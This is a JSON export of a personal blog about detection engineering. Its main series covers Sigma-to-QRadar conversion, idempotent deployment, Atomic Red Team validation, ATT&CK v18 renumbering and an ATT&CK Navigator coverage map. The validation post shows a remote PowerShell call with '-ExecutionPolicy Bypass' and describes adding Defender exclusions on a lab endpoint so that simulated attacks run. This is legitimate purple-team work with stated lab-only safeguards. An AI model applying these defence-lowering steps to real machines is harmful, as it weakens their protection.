[{"content":" Overview # I have used Docker and containers for multiple projects and CTFs in the past year. Although I had such a horrible time in my first attempts especially when building the SOC Home Lab when I managed The Hive, MISP and Cortex. So basically if ChatGPT can do it, then the installations and configuration succeeds. Otherwise, I give up since I saw it as very complicated due to the hype out there on the fancy Devops, DevSecOps and that kind of crap.\nFast forward, hosting 2 national CTFs and 2 internal CTFs and getting my hands dirty with running up, down, attaching and managing containers got a bit better and I got the idea more.\nSo here I am, trying to learn Docker the right way to really know what is happening within and what is the containerisation philosophy.\nImportant I will discuss Linux Containers. Of course containers aren\u0026rsquo;t only implemented with Linux, that can be done using Windows and Mac too.\nLinux Namespaces # Docker Architecture # What caused me, and probably you, big trouble, is how should I look at these Docker containers. What should I even call them? Docker? Containers? Not that I haven\u0026rsquo;t looked it up, but it was so vague.\nAlso are they Virtual Machines? What the fuck are they exactly? If they were VMs then where is the hypervisor?\nContainers as Linux Processes # To kick things off, here are similarities between Docker containers and Linux processes to help us visualize what containers are:\nThey are real Linux processes: every container is backed by 1 or more Linux processes. We can visualize this by ps aux.\nDirectory in the same Kernel: No other kernel for the containers and no hypervisors needed.\nSignals work normally: docker kill -SIGTERM \u0026lt;container\u0026gt; maps directly to kill -SIGTERM \u0026lt;PID\u0026gt;.\nContainers as NOT Linux Processes # This is where things get interesting.\nContainers use isolated environment on top of the Linux Kernel of the Host machine. That is done using Linux namespaces. As specified above, namespaces is a feature that makes a process see its onw processes, filesystem, network interfaces and all. Thus, they share the same Kernel, yet each set of processes is seperated (Thus the name of this blog post.)\nFurthermore, containers are limited by cgroups, a Linux feature that limits and sets the boundaries of the CPU and memory usage, I/O resources that containers can consume.\nIn Conclusion\nSo Linux Containers aren\u0026rsquo;t literally Linux processes, but they\u0026rsquo;re more like an isolated environment of a suite of processes with managed resources that are configured and isolated.\nOpen Container Initiative # It is very wrong if I say there not much to say in this matter, but here\u0026rsquo;s a resume on what is the OCI.\nSimply put, OCI is an initiative to standarize the container architectures across the maintainers and other container projects worldwide. OCI defines how and what we can do with a container, how it is defined and how it works internally.\n","date":"28 January 2026","externalUrl":null,"permalink":"/blog/containers/","section":"Blog","summary":"No, this is not a reference to a failed love story. Come and learn what containers are.","title":"To Share a Kernel, Yet Remain Alone","type":"blog"},{"content":" Where all the phases land # Three phases each leave a JSON file behind - manifest.json (converted), deployments.json (live in QRadar), validation.json (fired or didn\u0026rsquo;t). The final phase folds all three into a single ATT\u0026amp;CK Navigator layer, colour-coded so one glance tells you the true state of coverage:\noutputgreen validated simulated the attack and the detection fired orange deployed live in QRadar, not yet proven by simulation grey converted AQL exists, not deployed red not_triggered simulated but silent / failed conversion or deployment A coverage map is one of the easiest artefacts in a detection programme to misread. It usually fails in the dangerous direction, showing green where there is only hope. Two rules keep this one honest. Mix them up and the map becomes wrong in exactly the way you cannot afford.\nRule one: within a rule, later phases win # A single rule moves through phases, and a later phase always overrides an earlier one. A rule that was deployed and then failed to fire ends up not_triggered, even though it once made it to deployed:\npythonSTATUS_ORDER = [\u0026#34;failed\u0026#34;, \u0026#34;not_triggered\u0026#34;, \u0026#34;converted\u0026#34;, \u0026#34;deployed\u0026#34;, \u0026#34;validated\u0026#34;] def upsert(key, status, title, techniques): entry = rules.setdefault(key, {\u0026#34;title\u0026#34;: title, \u0026#34;techniques\u0026#34;: []}) entry[\u0026#34;status\u0026#34;] = status # each phase overwrites the last for this rule ... The phases run in order - conversion, then deployment, then validation - so whatever validation decides is the verdict that sticks for that rule. A rule that\u0026rsquo;s deployed but silent shows up red rather than orange. Flip the priority and a detection that provably doesn\u0026rsquo;t fire would still glow \u0026ldquo;deployed\u0026rdquo; on the map, which is the exact false comfort this whole project is trying to get rid of.\nRule two: across rules, the best status wins # Several rules can target the same technique, though. There, the best status wins, so one noisy failing rule doesn\u0026rsquo;t hide a working detection sitting behind it:\npythonfor technique in entry[\u0026#34;techniques\u0026#34;]: bucket = techniques.setdefault(technique, {\u0026#34;status\u0026#34;: status, \u0026#34;rules\u0026#34;: []}) if _rank(status) \u0026gt; _rank(bucket[\u0026#34;status\u0026#34;]): # best-of across rules bucket[\u0026#34;status\u0026#34;] = status Get these two backwards and you either hide real failures (worst-within-rule becomes best) or hide real coverage (best-across becomes worst), so I\u0026rsquo;ve kept them very deliberately separate. Each Navigator cell also carries a comment listing every contributing rule and its individual status, so if you\u0026rsquo;re staring at a green square wondering why, the answer is one click away.\nDry runs don\u0026rsquo;t count, again # The reporter re-enforces the discipline from the deployment post: only a genuine API write (created, updated, unchanged) counts as deployed. A dry-run record proves the payload builds, not that QRadar received anything, so it\u0026rsquo;s skipped:\npythonlive_states = {\u0026#34;created\u0026#34;, \u0026#34;updated\u0026#34;, \u0026#34;unchanged\u0026#34;} ... elif raw in live_states: status = \u0026#34;deployed\u0026#34; else: continue # dry-run carries no coverage; don\u0026#39;t paint the matrix orange With no SIEM deployed, every run is currently a dry run, so the layer renders converted (grey), with nothing deployed and nothing validated. That is an accurate picture of a machine without a SIEM, and it is more useful than a green wall I cannot defend.\nThe output is a layer v4.5 file stamped \u0026quot;attack\u0026quot;: \u0026quot;18\u0026quot; (the renumbering again), droppable straight into the public Navigator via Open Existing Layer -\u0026gt; Upload from local.\nThe console: same files, no invented numbers # Reading raw Navigator JSON is nobody\u0026rsquo;s idea of a dashboard, so there\u0026rsquo;s a small static web console over the same committed artefacts, built in IBM Carbon v11 with g10/g100 themes - it felt right for a project aimed at IBM\u0026rsquo;s own ecosystem. It reads the JSON directly, no backend, no database, and the one design rule I held hardest was that nothing on screen is a number I made up.\nEvery figure is either a count over artefact records or a field read out of one. Each artefact has exactly three states, and there is no fourth path where a broken file quietly renders as zero:\nloaded - the file is there and matches its contract. absent - the phase hasn\u0026rsquo;t run; the empty state shows the real zero in muted ink and names the command that would produce the data. invalid - the file exists but violates its contract, and the error says what\u0026rsquo;s wrong. That is what a fresh clone looks like: an empty state that tells you what to run next instead of a demo full of fabricated coverage.\nTwo more decisions behind the console. The status-folding logic in the browser (lib/status.ts) is a port of the Python reporter rather than a reimplementation - same precedence, same exclusion of dry-run, same handling of skipped - with 15 tests covering the case I care most about: a deployed-then-silent rule reads not_triggered in the rule fold, the technique fold, and every count. And the matrix recomputes from state/ instead of trusting the layer file, because a checked-in layer can easily be older than the state that produced it, and a stale layer would happily show coverage that\u0026rsquo;s no longer there. The layer is still offered as a straight download, for the real Navigator, which is what it\u0026rsquo;s actually for.\nThe console also takes Sigma uploads, but it doesn\u0026rsquo;t pretend to do more than it can: it parses and validates the YAML against what the converter will demand, stages the file in that one browser\u0026rsquo;s localStorage, and shows you the command to make it real (cp into rules/sigma/\u0026lt;category\u0026gt;/, then make convert). It can\u0026rsquo;t write to the repo or run pySigma from a browser, so it automates what it reasonably can and stops there. A staged rule is never counted as coverage, because it doesn\u0026rsquo;t have any yet.\nCI/CD: hermetic by default, gated where it bites # The GitHub Actions workflow splits along the same SIEM boundary the whole project respects. The conversion and reporting stages are hermetic - they run on every push, on GitHub-hosted runners, with the tests and a --fail-on-error conversion so an unconvertible rule can\u0026rsquo;t sneak into the repo:\nyaml- name: Convert rules # if it cannot become AQL, it cannot become a detection run: python -m src.convert --fail-on-error - name: Rehearse deployment payloads run: python -m src.deploy --dry-run - name: Build ATT\u0026amp;CK Navigator layer run: python -m src.report_navigator The deploy-and-validate job - the one that touches the lab and runs real attacks - is fenced off behind a self-hosted runner inside the lab network, a GitHub environment approval, and workflow_dispatch only. A plain push runs conversion and reporting; it can never start an attack.\nWhat the series was really about # Seven posts came out of one idea: a detection you have not simulated is still a hypothesis, however confident it looks in the repository. Converting Sigma to AQL was the solved part, and IBM solved it. Everything built on top of that, the empirical API probe, the two-pipeline converter that flags its own performance risks, idempotent deployment, validation that reruns the rule\u0026rsquo;s own query and this coverage map, serves one claim: a converted rule should still catch the attack once it is live.\nThe thread running through the series is a refusal to let the tooling flatter me. Dry runs do not count as deployed, a rule that goes silent after deployment shows red instead of retaining its old orange, untestable techniques stay orange instead of being rounded up to green, and absent data shows the command to run rather than a zero dressed up as a fact. Green is supposed to mean proven, and the pipeline is designed to make that true.\nIf you want to run the part that needs no SIEM:\nbashmake install # venv + deps make offline # tests, conversion, deploy rehearsal, coverage layer The code, the honest status, and the Phase 0 open questions that only a live instance can settle are all there. The lab is next. Thanks for reading the series.\n","date":"7 September 2026","externalUrl":null,"permalink":"/blog/6-ibm-wts-coverage/","section":"Blog","summary":"Folding conversion, deployment and validation into one ATT\u0026CK Navigator layer with two status rules that keep it from lying, plus a Carbon console over the same files.","title":"An Honest Coverage Map (and a Console That Never Makes Up a Number)","type":"blog"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/attack-navigator/","section":"Tags","summary":"","title":"Attack-Navigator","type":"tags"},{"content":" What can you find in here # This part is where I try to pass on the knowledge I gain when I read about or practice various topics.\nAs I tend to take down my notes in the good old pen and paper method, this is an attempt to migrate my writings to the digital world.\nThese posts, that I will add gradually, are a form of answers to my questions and curiosity when I learn something new.\nFirst Things First! I\u0026rsquo;ll do my best to provide resources, links and references that I used.\nAs I write the content myself, you can find mistypes, f#ked up english and, hopefully not, more. That being said, if there\u0026rsquo;s a huge mistake, my DMs are open.\n","date":"7 September 2026","externalUrl":null,"permalink":"/blog/","section":"Blog","summary":"","title":"Blog","type":"blog"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/blue-team/","section":"Tags","summary":"","title":"Blue-Team","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/ci-cd/","section":"Tags","summary":"","title":"Ci-Cd","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/coverage/","section":"Tags","summary":"","title":"Coverage","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/data-visualization/","section":"Tags","summary":"","title":"Data-Visualization","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/detection-as-code/","section":"Tags","summary":"","title":"Detection-as-Code","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/ibm-carbon/","section":"Tags","summary":"","title":"Ibm-Carbon","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/mitre-attack/","section":"Tags","summary":"","title":"Mitre-Attack","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/qradar/","section":"Tags","summary":"","title":"Qradar","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/react/","section":"Tags","summary":"","title":"React","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/sigma/","section":"Tags","summary":"","title":"Sigma","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/soc/","section":"Tags","summary":"","title":"Soc","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/","section":"Taha's","summary":"","title":"Taha's","type":"page"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/tags/typescript/","section":"Tags","summary":"","title":"Typescript","type":"tags"},{"content":"","date":"7 September 2026","externalUrl":null,"permalink":"/series/what-the-sigma/","section":"Series","summary":"","title":"What the Sigma","type":"series"},{"content":"","date":"4 September 2026","externalUrl":null,"permalink":"/tags/aql/","section":"Tags","summary":"","title":"Aql","type":"tags"},{"content":"","date":"4 September 2026","externalUrl":null,"permalink":"/tags/ariel/","section":"Tags","summary":"","title":"Ariel","type":"tags"},{"content":"","date":"4 September 2026","externalUrl":null,"permalink":"/tags/atomic-red-team/","section":"Tags","summary":"","title":"Atomic-Red-Team","type":"tags"},{"content":"","date":"4 September 2026","externalUrl":null,"permalink":"/tags/dfir/","section":"Tags","summary":"","title":"Dfir","type":"tags"},{"content":" The whole series has been building to this # Everything so far, from conversion through deployment, produces a rule that looks deployed. This post covers the step that turns \u0026ldquo;looks deployed\u0026rdquo; into \u0026ldquo;detects the attack\u0026rdquo;: run the attack, then ask the rule whether it noticed.\nThe loop, per rule, is four steps:\nLook up the Atomic Red Team tests matching the rule\u0026rsquo;s ATT\u0026amp;CK technique. Run them on the lab endpoint. Wait for the endpoint\u0026rsquo;s logs to reach QRadar and get indexed. Re-run the rule\u0026rsquo;s own AQL over the attack window and check whether it returns anything. Step 4 is the decisive one, and it is a deliberate design choice.\nRe-run the rule\u0026rsquo;s own query, not \u0026ldquo;did an offense appear\u0026rdquo; # The obvious validation is to run the atomic and check whether QRadar generated a new offense. The validator does record that, but it is not the main signal. The main signal is the rule\u0026rsquo;s own converted AQL, rerun over the attack window, and whether it returns rows:\npython# ---- 4: ask the detection itself whether it fired ------------------- scoped = scope_query_to_window(aql, start_ms, stop_ms) search = client.run_search(scoped) result.search_status = search.status result.matched_events = search.record_count result.offenses = len(client.offenses_since(start_ms)) # secondary signal Why do it this way? Because it tests the thing I actually care about: did this translated query match the telemetry the attack produced? Not \u0026ldquo;did some rule somewhere generate an offense,\u0026rdquo; which could be a different rule entirely, or a coincidence. Re-running the converted query closes the loop precisely around the conversion, which is the step most likely to be quietly wrong.\nIt has a second advantage: it works before any CRE rule exists. A saved search doesn\u0026rsquo;t generate offenses on its own; it needs a scheduled-search-plus-threshold rule wrapped around it. Validating by re-running the query means Phase 4 is useful regardless of how the Phase 0 API question shakes out - I don\u0026rsquo;t need to have solved CRE-rule creation to know whether my detection logic matches real attack telemetry.\nScoping to the window is a small but necessary detail - AQL scans a default recent interval unless you pin it, and the backend-emitted query might already carry a time clause, so the validator only appends one if there isn\u0026rsquo;t one:\npythondef scope_query_to_window(aql, start_ms, stop_ms): if TIME_WINDOW_RE.search(aql): # backend already emitted START/LAST return aql return f\u0026#34;{aql.rstrip().rstrip(\u0026#39;;\u0026#39;)} START {start_ms} STOP {stop_ms}\u0026#34; Finding and running the atomics # Atomic Red Team organises tests by technique. The validator loads the Windows-capable tests for the rule\u0026rsquo;s technique, falling back to the parent technique (that T1685.001 -\u0026gt; T1685 move from the v18 post) when the sub-technique has none of its own:\npythondef load_atomic_tests(atomics_dir, technique): for candidate in (technique, parent_technique(technique)): definition = atomics_dir / candidate / f\u0026#34;{candidate}.yaml\u0026#34; ... tests = [t for t in doc.get(\u0026#34;atomic_tests\u0026#34;, []) if \u0026#34;windows\u0026#34; in (t.get(\u0026#34;supported_platforms\u0026#34;) or [])] if tests: return tests return [] Execution goes over SSH, not WinRM. Modern Windows ships an OpenSSH server, it\u0026rsquo;s far easier to script from Linux CI, and credentials stay in the SSH agent rather than in the Python process:\npythonremote = f\u0026#34;powershell -NoProfile -ExecutionPolicy Bypass -Command {shlex.quote(command)}\u0026#34; subprocess.run( [\u0026#34;ssh\u0026#34;, \u0026#34;-o\u0026#34;, \u0026#34;BatchMode=yes\u0026#34;, \u0026#34;-o\u0026#34;, \u0026#34;StrictHostKeyChecking=accept-new\u0026#34;, f\u0026#34;{user}@{host}\u0026#34;, remote], capture_output=True, text=True, timeout=timeout, ) There\u0026rsquo;s also a --manual mode that just prompts you to run the simulation by hand and press Enter - useful when the endpoint isn\u0026rsquo;t scriptable, or when you want a human in the loop for a destructive test.\nnot_triggered is a first-class, honest result # This status is the ethic of the whole project in miniature. When the re-run query comes back empty, the rule is reported as not_triggered, and the detail message names the three usual suspects, because all three genuinely happen:\npythonelse: result.status = NOT_TRIGGERED result.detail = ( \u0026#34;no matching events - check Sysmon coverage, the DSM field mapping, \u0026#34; \u0026#34;or whether the atomic actually exercises this rule\u0026#39;s logic\u0026#34; ) The three usual suspects:\nSysmon isn\u0026rsquo;t capturing the event. The rule needs process-access or image-load telemetry that Sysmon isn\u0026rsquo;t configured to log. The DSM maps the field differently than the backend assumed - QRadar parsed the event, but into a property name the converted query doesn\u0026rsquo;t look at. The atomic doesn\u0026rsquo;t actually exercise the rule\u0026rsquo;s logic. The test and the rule are both tagged with the same technique, but the specific behaviour they touch doesn\u0026rsquo;t overlap. A rule that deploys cleanly and never fires is reported as not_triggered, not deployed. That distinction is the reason this project exists. A rule that looks deployed but detects nothing creates false confidence, so the pipeline marks it red instead of letting it hide behind an orange \u0026ldquo;deployed\u0026rdquo; badge.\nThe device-type gotcha, cashed in # Remember from the conversion post that every query begins WHERE devicetype=12. This is where that bites. If Sysmon events land under a different device type - very likely with a generic syslog forwarder instead of WinCollect - every rule returns zero and the whole run comes back not_triggered while looking completely fine. If Phase 4 ever reports a clean sweep of nothing-fired, the device type is the first thing I\u0026rsquo;ll check, before I touch a single rule.\nThe lab endpoint setup script (lab/setup-endpoint.ps1) is built to avoid this: it installs Sysmon with the SwiftOnSecurity config, turns on command-line auditing (EID 4688), lays down the atomics, and forwards logs so they land under the right device type. Sysmon is what makes most Sigma rules detectable at all - it supplies process creation with full command lines (EID 1), process access (EID 10) and image loads (EID 7), none of which the default Windows audit policy provides.\nSafety, because this runs real attacks # This phase executes actual attack techniques on a real machine, so the guardrails aren\u0026rsquo;t optional:\nLab only. The simulation runs against an isolated VM I own, never against anything that isn\u0026rsquo;t mine. Snapshot before every run, so a destructive atomic is one rollback away from undone. The lab endpoint script deliberately lowers defences (Defender exclusions for the atomics folder) so attacks generate telemetry instead of being blocked before they do, which is exactly why it must never run on a machine that matters. In CI, the job that touches the lab runs on a self-hosted runner inside the lab network, behind a GitHub environment approval, and only on manual dispatch. A plain git push can never kick off an attack simulation. The honest status, again # Phase 4 is code-complete and blocked on the lab. QRadar CE isn\u0026rsquo;t deployed yet (the disk-space problem from Phase 0), so the validator hasn\u0026rsquo;t run end to end against a live box. But it\u0026rsquo;s built, it\u0026rsquo;s structured so it works the moment a SIEM and an endpoint exist, and because the pipeline never counts unproven work as proven, the coverage map correctly shows zero validated techniques today rather than a wall of optimistic green.\nThat is the map I will cover next: folding three phases into one ATT\u0026amp;CK coverage layer.\n","date":"4 September 2026","externalUrl":null,"permalink":"/blog/5-ibm-wts-validation/","section":"Blog","summary":"Simulate the attack with Atomic Red Team, then re-run the rule’s own converted query over the attack window and ask it directly whether it matched. not_triggered is the honest answer.","title":"Proving a Detection Actually Fires","type":"blog"},{"content":"","date":"4 September 2026","externalUrl":null,"permalink":"/tags/purple-team/","section":"Tags","summary":"","title":"Purple-Team","type":"tags"},{"content":"","date":"4 September 2026","externalUrl":null,"permalink":"/tags/sysmon/","section":"Tags","summary":"","title":"Sysmon","type":"tags"},{"content":"","date":"4 September 2026","externalUrl":null,"permalink":"/tags/threat-emulation/","section":"Tags","summary":"","title":"Threat-Emulation","type":"tags"},{"content":"","date":"4 September 2026","externalUrl":null,"permalink":"/tags/validation/","section":"Tags","summary":"","title":"Validation","type":"tags"},{"content":"","date":"1 September 2026","externalUrl":null,"permalink":"/tags/automation/","section":"Tags","summary":"","title":"Automation","type":"tags"},{"content":" The easy way to make a mess # The naive deployer is a for loop that POSTs each converted rule as a new saved search. Run it twice and you have two copies of every rule. When SigmaHQ renames a rule upstream, you get another copy under the new title while the old one continues firing. After a few weeks, the SIEM is full of near-identical detections, nobody knows which is authoritative and cleanup becomes manual archaeology.\nThe deployment phase of What The Sigma therefore has two non-negotiable properties: it is idempotent, so repeated runs converge instead of accumulating, and its status reporting reflects what reached QRadar.\nIdentity is the Sigma UUID # Every Sigma rule has a stable UUID that survives renames. That UUID is the identity used throughout the pipeline. Deployed saved searches embed it in their names so they are easy to find and distinguish:\noutput[DaC] Renamed Whoami Execution [f1086bf7] \\--- readable title ---/ \\- UUID -/ pythondef saved_search_name(prefix, title, sigma_id): tag = sigma_id.replace(\u0026#34;-\u0026#34;, \u0026#34;\u0026#34;)[:UUID_TAG_LENGTH] # first 8 hex chars budget = 255 - len(prefix) - len(tag) - 6 # keep long titles legal return f\u0026#34;{prefix} {title[:budget].strip()} [{tag}]\u0026#34; The [DaC] prefix (detection-as-code) does double duty: it namespaces everything this pipeline creates, so the whole set can be listed - or deleted - by name without touching anything a human made by hand. The [f1086bf7] tag is the actual identity. The deployer matches on the tag rather than the title, so when a rule is renamed upstream it\u0026rsquo;s still recognised as the same detection and updated in place instead of duplicated. There\u0026rsquo;s a test dedicated to exactly this, because filling a SIEM with copies of one rule is an easy mistake to make.\nThree honest outcomes # The deployer fetches the whole [DaC] namespace once, caches it by UUID tag, then decides per rule. There are three possible outcomes, and the third one is the one I built this around:\npythonexisting = _find_existing(client, name, cache) if existing: if existing.get(\u0026#34;aql\u0026#34;) == payload[\u0026#34;aql\u0026#34;]: record.status = \u0026#34;unchanged\u0026#34; # byte-for-byte identical: no API call at all else: client.update_saved_search(int(existing[\u0026#34;id\u0026#34;]), payload) record.status = \u0026#34;updated\u0026#34; # the AQL changed: update in place else: client.create_saved_search(payload) record.status = \u0026#34;created\u0026#34; # genuinely new created - the rule wasn\u0026rsquo;t there; make it. updated - it was there but the AQL changed; update the existing object. unchanged - the AQL is byte-for-byte identical, so no API call is made at all. That last one keeps redeployment cheap and quiet. On a QRadar CE box, hundreds of redundant round-trips per run isn\u0026rsquo;t free, so a no-op run should actually do nothing. Fetching the namespace once, up front, also avoids a filtered GET per rule:\npythondef _build_cache(client, prefix): cache = {} for item in client.list_saved_searches(prefix): name = item.get(\u0026#34;name\u0026#34;, \u0026#34;\u0026#34;) if \u0026#34;[\u0026#34; in name and name.endswith(\u0026#34;]\u0026#34;): cache[name.rsplit(\u0026#34;[\u0026#34;, 1)[-1].rstrip(\u0026#34;]\u0026#34;)] = item return cache Why saved searches, not CRE rules # As covered in the Phase 0 post, the deployable unit is the Ariel saved search, not the Custom Rule Engine rule. The REST API creates saved searches directly, while /analytics/rules looks built for managing rules that already exist rather than authoring them from scratch. A saved search holds the converted AQL, which is exactly what a \u0026ldquo;scheduled search + threshold\u0026rdquo; CRE rule consumes anyway.\nThat\u0026rsquo;s still a working assumption until the live probe confirms it - so the code keeps it contained. The entire QRadar-shaped surface is one payload builder plus four client methods:\npythondef build_payload(rule, name): return { \u0026#34;name\u0026#34;: name, \u0026#34;description\u0026#34;: description[:1000], # ATT\u0026amp;CK, severity, pipeline, source \u0026#34;aql\u0026#34;: rule[\u0026#34;aql\u0026#34;], \u0026#34;database\u0026#34;: \u0026#34;EVENTS\u0026#34;, \u0026#34;is_shared\u0026#34;: True, } If Phase 0 comes back and says \u0026ldquo;no saved-search creation on this build\u0026rdquo;, switching to one of the fallbacks is a small, localised change rather than a rewrite. The deployer never touches Sigma and never touches pySigma - it just reads the manifest and talks to QRadar.\nThe status that refuses to lie: --dry-run # This is the discipline that matters most in this phase. --dry-run builds every payload and writes the full state file without calling QRadar:\npythonif dry_run or client is None: records.append(record) # status stays \u0026#34;dry-run\u0026#34; continue Those records are stamped dry-run, and the coverage report excludes them from counting as deployed. Only a real API write counts:\npython# from src/report_navigator.py live_states = {\u0026#34;created\u0026#34;, \u0026#34;updated\u0026#34;, \u0026#34;unchanged\u0026#34;} for deployment in deployments.get(\u0026#34;deployments\u0026#34;, []): raw = deployment.get(\u0026#34;status\u0026#34;) if raw == \u0026#34;failed\u0026#34;: status = \u0026#34;failed\u0026#34; elif raw in live_states: status = \u0026#34;deployed\u0026#34; else: continue # dry-run records carry no coverage Rehearsing a payload proves the payload builds. It does not prove QRadar received anything. If a dry run painted the ATT\u0026amp;CK matrix orange, I\u0026rsquo;d have a coverage map claiming detections on a machine that has never spoken to a SIEM, which is precisely the false confidence this whole project exists to kill. So a dry run stays loud about being a rehearsal, and the map stays honest.\nThis is not hypothetical. The lab SIEM is not up yet, so every deployment run has been a dry run. The pipeline is rehearsed, and the coverage map correctly shows nothing as deployed because nothing is. make deploy-dry is the command for a fresh clone, and its output reflects a machine without a SIEM.\nState is a file, so it survives # Deployment writes state/deployments.json - what\u0026rsquo;s live, its saved-search id, when it was pushed, and the outcome per rule. That file is the handoff to validation (does the rule actually fire?) and to reporting (what colour is this technique?). Because state lives on disk rather than in memory, a deployment run can fail halfway through - the lab falling over, say - and I still haven\u0026rsquo;t lost the record of what did get pushed. Every phase in this pipeline reads one file and writes another; this is the one that says what QRadar currently believes.\nCleanup is free # One underrated benefit of the [DaC] prefix is teardown. Everything the pipeline ever created is listable and deletable by that one prefix, so resetting a lab - or removing the pipeline\u0026rsquo;s footprint entirely - never risks touching a hand-built rule. On a shared or borrowed QRadar instance, being able to say \u0026ldquo;delete exactly what I made and nothing else\u0026rdquo; is worth the six characters it costs.\nNext, the phase this whole series is really about: proving a deployed detection actually fires.\n","date":"1 September 2026","externalUrl":null,"permalink":"/blog/4-ibm-wts-deploy/","section":"Blog","summary":"Idempotent deployment keyed on the Sigma UUID, so a renamed rule updates in place instead of spawning a duplicate. And a –dry-run that never lies about being deployed.","title":"Deploying Detections Without Making a Mess","type":"blog"},{"content":"","date":"1 September 2026","externalUrl":null,"permalink":"/tags/deployment/","section":"Tags","summary":"","title":"Deployment","type":"tags"},{"content":"","date":"1 September 2026","externalUrl":null,"permalink":"/tags/idempotence/","section":"Tags","summary":"","title":"Idempotence","type":"tags"},{"content":"","date":"1 September 2026","externalUrl":null,"permalink":"/tags/saved-searches/","section":"Tags","summary":"","title":"Saved-Searches","type":"tags"},{"content":"","date":"1 September 2026","externalUrl":null,"permalink":"/tags/siem/","section":"Tags","summary":"","title":"Siem","type":"tags"},{"content":"","date":"1 September 2026","externalUrl":null,"permalink":"/tags/uuid/","section":"Tags","summary":"","title":"Uuid","type":"tags"},{"content":"","date":"29 August 2026","externalUrl":null,"permalink":"/tags/attack-v18/","section":"Tags","summary":"","title":"Attack-V18","type":"tags"},{"content":"","date":"29 August 2026","externalUrl":null,"permalink":"/tags/defense-evasion/","section":"Tags","summary":"","title":"Defense-Evasion","type":"tags"},{"content":"","date":"29 August 2026","externalUrl":null,"permalink":"/tags/taxonomy/","section":"Tags","summary":"","title":"Taxonomy","type":"tags"},{"content":" An empty intersection that shouldn\u0026rsquo;t have been empty # While wiring up validation, I found a failure that was not in my code. I was mapping each deployed rule to its matching Atomic Red Team test by ATT\u0026amp;CK technique ID, and the intersection kept coming back empty for techniques that exist in both projects. Rules tagged for defense-evasion techniques matched nothing in Atomic Red Team, even when the techniques were present in both repositories.\nThe cause was a taxonomy change. It is exactly the kind of change that silently poisons a detection-coverage tool with hardcoded technique IDs.\nWhat ATT\u0026amp;CK v18 changed # ATT\u0026amp;CK v18 (2025) restructured the defense-evasion tactic. Both SigmaHQ and Atomic Red Team have migrated to it. The old IDs I had in my head, and that plenty of tooling still has baked in, no longer exist in the current corpus:\nOld New T1562.001 Impair Defenses: Disable or Modify Tools T1685 Disable or Modify Tools T1070.001 Indicator Removal: Clear Windows Event Logs T1685.001 Disable or Modify Windows Event Log tactic defense-evasion split into stealth and defense-impairment This is more than a relabel. It is a renumbering and a tactic split. The old defense-evasion tactic became two tactics, and specific techniques received new base IDs.\nThe number that makes it real # I checked the assumption against the current SigmaHQ corpus, because \u0026ldquo;I think this changed\u0026rdquo; isn\u0026rsquo;t evidence:\nattack.defense-evasion appears zero times. attack.stealth appears 944 times. attack.defense-impairment appears 378 times. The old tactic tag is gone. There are 13 techniques numbered T1650 or higher in SigmaHQ and 11 in Atomic Red Team - the whole upper range that didn\u0026rsquo;t exist a version ago.\nThe trap is straightforward: any coverage tool with pre-v18 technique IDs hardcoded will report gaps that are not real. It looks for T1562.001, finds nothing in a migrated corpus and paints a red cell for a technique you already detect, just under its new number, T1685. The result is damaging because it tells you that you are blind where you are not, encouraging work on a gap that is already covered.\nHandling both vocabularies # The fix is to accept both the legacy and the current names. src/attack.py keeps the old tactic shortname alongside the new ones, so an older or vendor-authored ruleset still parses, while current SigmaHQ tags resolve cleanly:\npythonKNOWN_TACTICS = { \u0026#34;reconnaissance\u0026#34;, \u0026#34;resource-development\u0026#34;, \u0026#34;initial-access\u0026#34;, \u0026#34;execution\u0026#34;, \u0026#34;persistence\u0026#34;, \u0026#34;privilege-escalation\u0026#34;, \u0026#34;defense-evasion\u0026#34;, # legacy, pre-ATT\u0026amp;CK v18 \u0026#34;stealth\u0026#34;, # v18 \u0026#34;defense-impairment\u0026#34;, # v18 \u0026#34;credential-access\u0026#34;, \u0026#34;discovery\u0026#34;, \u0026#34;lateral-movement\u0026#34;, \u0026#34;collection\u0026#34;, \u0026#34;command-and-control\u0026#34;, \u0026#34;exfiltration\u0026#34;, \u0026#34;impact\u0026#34;, } Technique parsing accepts both base and sub-technique forms via a single regex, and normalises case so attack.t1685.001 and attack.T1685.001 land in the same place:\npythonTECHNIQUE_RE = re.compile(r\u0026#34;^attack\\.(t\\d{4}(?:\\.\\d{3})?)$\u0026#34;, re.IGNORECASE) And the rule-selection tool targets the v18 IDs directly, so the curated set is future-shaped rather than carrying dead numbers:\npython# IDs follow ATT\u0026amp;CK v18 (T1562.001 -\u0026gt; T1685, T1070.001 -\u0026gt; T1685.001). TARGET_TECHNIQUES = [ \u0026#34;T1003.001\u0026#34;, \u0026#34;T1547.001\u0026#34;, \u0026#34;T1053.005\u0026#34;, \u0026#34;T1059.001\u0026#34;, \u0026#34;T1218.011\u0026#34;, ... \u0026#34;T1087.001\u0026#34;, \u0026#34;T1082\u0026#34;, \u0026#34;T1057\u0026#34;, \u0026#34;T1016\u0026#34;, \u0026#34;T1685\u0026#34;, \u0026#34;T1685.001\u0026#34;, \u0026#34;T1543.003\u0026#34;, \u0026#34;T1197\u0026#34;, \u0026#34;T1105\u0026#34;, \u0026#34;T1548.002\u0026#34;, ... ] The Navigator layer output is likewise stamped \u0026quot;attack\u0026quot;: \u0026quot;18\u0026quot;, so the coverage map renders against the current matrix rather than an older snapshot where those cells would be misplaced.\nThe mapping that resolves sub-techniques to their parent # There\u0026rsquo;s a second, quieter place this matters. 